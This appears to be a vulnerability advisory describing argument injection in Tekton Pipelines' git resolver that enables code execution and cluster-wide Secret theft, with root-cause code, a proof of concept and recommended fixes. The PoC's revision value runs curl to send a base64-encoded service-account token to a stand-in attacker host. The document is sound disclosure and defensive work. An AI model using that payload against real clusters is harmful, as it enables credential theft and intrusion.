CVE-2026-40938 — Vulnerability in github.com/tektoncd/pipeline —...

## Summary The git resolver's `revision` parameter is passed directly as a positional argument to `git fetch` without any validation that it does not begin with a `-` character. Because git parses flags from mixed positional arguments, an attacker can inject arbitrary `git fetch` flags such as `--upload-pack=<binary>`. Combined with the `validateRepoURL` function explicitly permitting URLs that begin with `/` (local filesystem paths), a tenant who can submit `ResolutionRequest` objects can chain these two behaviors to execute an arbitrary binary on the resolver pod. The `tekton-pipelines-resolvers` ServiceAccount holds cluster-wide `get/list/watch` on all Secrets, so code execution on the resolver pod enables full cluster-wide secret exfiltration. ## Details ### Root Cause 1 — Unvalidated `revision` parameter passed to `git fetch` `pkg/resolution/resolver/git/repository.go:85`: ```go // pkg/resolution/resolver/git/repository.go lines 84-96 // 'revision' is the raw user-supplied string from the ResolutionRequest param. // It is passed verbatim as a positional argument to git fetch: func (repo *repository) checkout(ctx context.Context, revision string) error { _, err := repo.execGit(ctx, "fetch", "origin", revision, "--depth=1") // When revision == "--upload-pack=/usr/bin/curl", git parses it as the // --upload-pack flag, not as a refspec — executing the binary locally. if err != nil { return fmt.Errorf("fetch: %w", err) } _, err = repo.execGit(ctx, "checkout", "FETCH_HEAD") return err } ``` `execGit` invokes `exec.CommandContext("git", ...)` — no shell is used, so shell metacharacters cannot be injected. However, git itself parses flags from mixed positional arguments. When `revision = "--upload-pack=/path/to/binary"`, git receives this as the flag `--upload-pack=/path/to/binary`, not as a refspec. `PopulateDefaultParams` (`resolver.go:418–424`) applies only a leading-slash strip and a `containsDotDot` check on the `pathInRepo` parameter; the `revision` parameter receives no validation at all. ### Root Cause 2 — `validateRepoURL` explicitly permits local filesystem paths `pkg/resolution/resolver/git/resolver.go:154-158`: ```go // validateRepoURL validates if the given URL is a valid git, http, https URL or // starting with a / (a local repository). func validateRepoURL(url string) bool { pattern := `^(/|[^@]+@[^:]+|(git|https?)://)` re := regexp.MustCompile(pattern) return re.MatchString(url) } ``` Any URL beginning with `/` passes validation and is used directly as the argument to `git clone`. This means a local filesystem path such as `/tmp/some-repo` is a valid resolver URL. ### Exploit Chain `--upload-pack=<binary>` causes git to execute the specified binary as the upload-pack server when communicating with the remote. For local-path remotes (`/path`), git invokes the binary on the resolver pod itself with the repository path as its sole argument. Because the argument is passed via `exec.Command` as a single `--upload-pack=<binary>` string (not split by a shell), only binaries at known paths can be invoked — but several useful binaries exist in the resolver pod image (e.g., `/bin/sh`, `/usr/bin/curl`, `/bin/cp`). Attack complexity is High because the exploit requires either: - A valid git repository at a known, predicable path on the resolver pod (e.g., `/tmp/<reponame>-<suffix>` from a concurrent resolution), or - A default-URL configuration pointing at a local path ## PoC ```bash # Step 1: Set up a local git repository to serve as the "origin" # (in a real attack, the attacker would time this against a concurrent clone # or use any pre-existing git repo path on the resolver pod) git init /tmp/localrepo && cd /tmp/localrepo && git commit --allow-empty -m "init" # Step 2: Craft a ResolutionRequest with injected --upload-pack flag kubectl create -f - <<'EOF' apiVersion: resolution.tekton.dev/v1beta1 kind: ResolutionRequest metadata: name: revision-injection-poc namespace: default labels: resolution.tekton.dev/type: git spec: params: - name: url value: /tmp/localrepo - name: revision value: "--upload-pack=/usr/bin/curl http://c2.attacker.internal/$(cat /var/run/secrets/kubernetes.io/serviceaccount/token | base64 -w0)" - name: pathInRepo value: README.md EOF # The resolver pod executes: # git -C <tmpdir> fetch origin \ # "--upload-pack=/usr/bin/curl http://c2.attacker.internal/..." \ # --depth=1 # # For single-argument binaries (/bin/sh, /usr/bin/env, etc.): # git -C <tmpdir> fetch origin "--upload-pack=/bin/sh" --depth=1 # Executes /bin/sh with the local repository path as argv[1]. # From /bin/sh, the attacker can use a pre-staged script (e.g., written # via a workspace volume) to achieve arbitrary command execution. ``` **Verified**: `git fetch origin --upload-pack=/tmp/test-exec.sh --depth=1` executes `test-exec.sh` on the local machine even when `origin` is a local filesystem path. Exit code 0 was observed with the test binary executed successfully. ## Impact - **Code execution on the resolver pod** when an attacker can stage or predict a valid git repository path in `/tmp` on the resolver pod. - **Full cluster-wide Secret exfiltration**: The `tekton-pipelines-resolvers` ServiceAccount is bound to a ClusterRole that grants `get/list/watch` on all Secrets in all namespaces (`config/resolvers/200-clusterrole.yaml`). Code execution on the resolver pod is therefore equivalent to reading every Secret in the cluster. - **Privilege escalation**: Secrets typically include kubeconfig files, cloud provider credentials, and API tokens — reading them enables lateral movement to cloud infrastructure. - Both the deprecated resolver (`pkg/resolution/resolver/git/`) and the current resolver (`pkg/remoteresolution/resolver/git/`) share the same `validateRepoURL`, `PopulateDefaultParams`, and `checkout` implementation via the shared `git` package. Both are affected. ## Recommended Fix **Fix 1 — Validate that `revision` does not begin with `-`** in `PopulateDefaultParams`: ```go if strings.HasPrefix(paramsMap[RevisionParam], "-") { return nil, fmt.Errorf("invalid revision %q: must not begin with '-'", paramsMap[RevisionParam]) } ``` **Fix 2 — Restrict `validateRepoURL` to remote URLs only** (remove local-path support in production builds, or add an explicit admin opt-in feature flag): ```go func validateRepoURL(url string) bool { pattern := `^([^@]+@[^:]+|(git|https?)://)` re := regexp.MustCompile(pattern) return re.MatchString(url) } ``` Applying Fix 1 alone is sufficient to prevent the argument injection. Fix 2 eliminates the enabling condition (local-path remotes for which `--upload-pack` runs locally) and reduces attack surface further.